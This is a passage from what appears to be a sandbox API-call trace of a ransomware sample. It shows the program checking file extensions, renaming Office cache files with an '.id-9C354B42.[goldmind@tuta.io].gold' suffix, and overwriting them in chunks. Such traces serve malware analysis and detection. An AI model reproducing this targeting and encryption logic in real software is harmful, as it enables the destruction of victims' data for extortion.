[0041.778] lstrlenW (lpString=".zip") returned 4 [0041.778] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString=".rar") returned 4 [0041.778] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString=".bz2") returned 4 [0041.778] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.778] lstrlenW (lpString=".7z") returned 3 [0041.778] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.778] lstrlenW (lpString=".dbf") returned 4 [0041.778] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".1cd") returned 4 [0041.779] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".jpg") returned 4 [0041.779] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".doc") returned 4 [0041.779] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString=".docx") returned 5 [0041.779] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0041.779] lstrlenW (lpString=".pdf") returned 4 [0041.779] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString=".xls") returned 4 [0041.779] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString=".xlsx") returned 5 [0041.779] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0041.779] lstrlenW (lpString=".ppt") returned 4 [0041.779] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".zip") returned 4 [0041.779] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString=".rar") returned 4 [0041.779] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString=".bz2") returned 4 [0041.779] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.779] lstrlenW (lpString=".7z") returned 3 [0041.779] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".dbf") returned 4 [0041.779] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".1cd") returned 4 [0041.779] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.779] lstrlenW (lpString=".jpg") returned 4 [0041.779] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.779] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0041.779] lstrlenW (lpString="VisioMUI.msi") returned 12 [0041.779] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0041.780] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2797568) returned 1 [0041.780] CloseHandle (hObject=0x1b0) returned 1 [0041.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0041.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.780] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0041.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0041.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0041.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0041.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.837] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0041.837] ReadFile (in: hFile=0x1b0, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0041.897] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.922] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0041.922] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0041.934] SetEndOfFile (hFile=0x1b0) returned 1 [0041.934] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0041.934] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0041.934] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.935] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0041.935] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.171] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0042.172] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.173] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0042.175] CloseHandle (hObject=0x1b0) returned 1 [0042.176] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".doc") returned 4 [0042.176] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.176] lstrlenW (lpString=".docx") returned 5 [0042.176] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.176] lstrlenW (lpString=".pdf") returned 4 [0042.176] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.176] lstrlenW (lpString=".xls") returned 4 [0042.176] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.176] lstrlenW (lpString=".xlsx") returned 5 [0042.176] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.176] lstrlenW (lpString=".ppt") returned 4 [0042.176] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".zip") returned 4 [0042.176] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.176] lstrlenW (lpString=".rar") returned 4 [0042.176] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.176] lstrlenW (lpString=".bz2") returned 4 [0042.176] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.176] lstrlenW (lpString=".7z") returned 3 [0042.176] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".dbf") returned 4 [0042.176] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".1cd") returned 4 [0042.176] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".jpg") returned 4 [0042.176] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.176] lstrlenW (lpString=".doc") returned 4 [0042.176] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.177] lstrlenW (lpString=".docx") returned 5 [0042.177] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.177] lstrlenW (lpString=".pdf") returned 4 [0042.177] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.177] lstrlenW (lpString=".xls") returned 4 [0042.177] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.177] lstrlenW (lpString=".xlsx") returned 5 [0042.177] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.177] lstrlenW (lpString=".ppt") returned 4 [0042.177] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.177] lstrlenW (lpString=".zip") returned 4 [0042.177] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.177] lstrlenW (lpString=".rar") returned 4 [0042.177] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.177] lstrlenW (lpString=".bz2") returned 4 [0042.177] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.177] lstrlenW (lpString=".7z") returned 3 [0042.177] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.177] lstrlenW (lpString=".dbf") returned 4 [0042.177] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.177] lstrlenW (lpString=".1cd") returned 4 [0042.177] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.177] lstrlenW (lpString=".jpg") returned 4 [0042.177] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.177] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0042.177] lstrlenW (lpString="ProjLR.cab") returned 10 [0042.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.348] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=8265165) returned 1 [0042.348] CloseHandle (hObject=0x200) returned 1 [0042.348] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0042.348] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.355] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.392] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0042.392] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.392] ReadFile (in: hFile=0x200, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.395] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.395] ReadFile (in: hFile=0x200, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.400] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.400] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.400] ReadFile (in: hFile=0x200, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.415] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0042.415] WriteFile (in: hFile=0x200, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0042.640] SetEndOfFile (hFile=0x200) returned 1 [0042.640] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fec018 [0042.758] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0042.758] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.759] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0042.759] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.761] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0042.761] WriteFile (in: hFile=0x200, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.763] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fec018 | out: hHeap=0x880000) returned 1 [0042.763] CloseHandle (hObject=0x200) returned 1 [0042.763] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.763] lstrlenW (lpString=".doc") returned 4 [0042.763] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString=".docx") returned 5 [0042.763] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.763] lstrlenW (lpString=".pdf") returned 4 [0042.763] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString=".xls") returned 4 [0042.763] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString=".xlsx") returned 5 [0042.763] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.763] lstrlenW (lpString=".ppt") returned 4 [0042.763] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.763] lstrlenW (lpString=".zip") returned 4 [0042.763] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString=".rar") returned 4 [0042.763] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.763] lstrlenW (lpString=".bz2") returned 4 [0042.763] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.764] lstrlenW (lpString=".7z") returned 3 [0042.764] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".dbf") returned 4 [0042.764] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".1cd") returned 4 [0042.764] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".jpg") returned 4 [0042.764] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".doc") returned 4 [0042.764] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString=".docx") returned 5 [0042.764] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.764] lstrlenW (lpString=".pdf") returned 4 [0042.764] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString=".xls") returned 4 [0042.764] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString=".xlsx") returned 5 [0042.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.764] lstrlenW (lpString=".ppt") returned 4 [0042.764] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".zip") returned 4 [0042.764] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString=".rar") returned 4 [0042.764] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString=".bz2") returned 4 [0042.764] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.764] lstrlenW (lpString=".7z") returned 3 [0042.764] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".dbf") returned 4 [0042.764] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".1cd") returned 4 [0042.764] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0042.764] lstrlenW (lpString=".jpg") returned 4 [0042.764] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.765] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0042.765] lstrlenW (lpString="OfficeLR.cab") returned 12 [0042.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.770] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=14127746) returned 1 [0042.770] CloseHandle (hObject=0x188) returned 1 [0042.770] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0042.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.771] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), 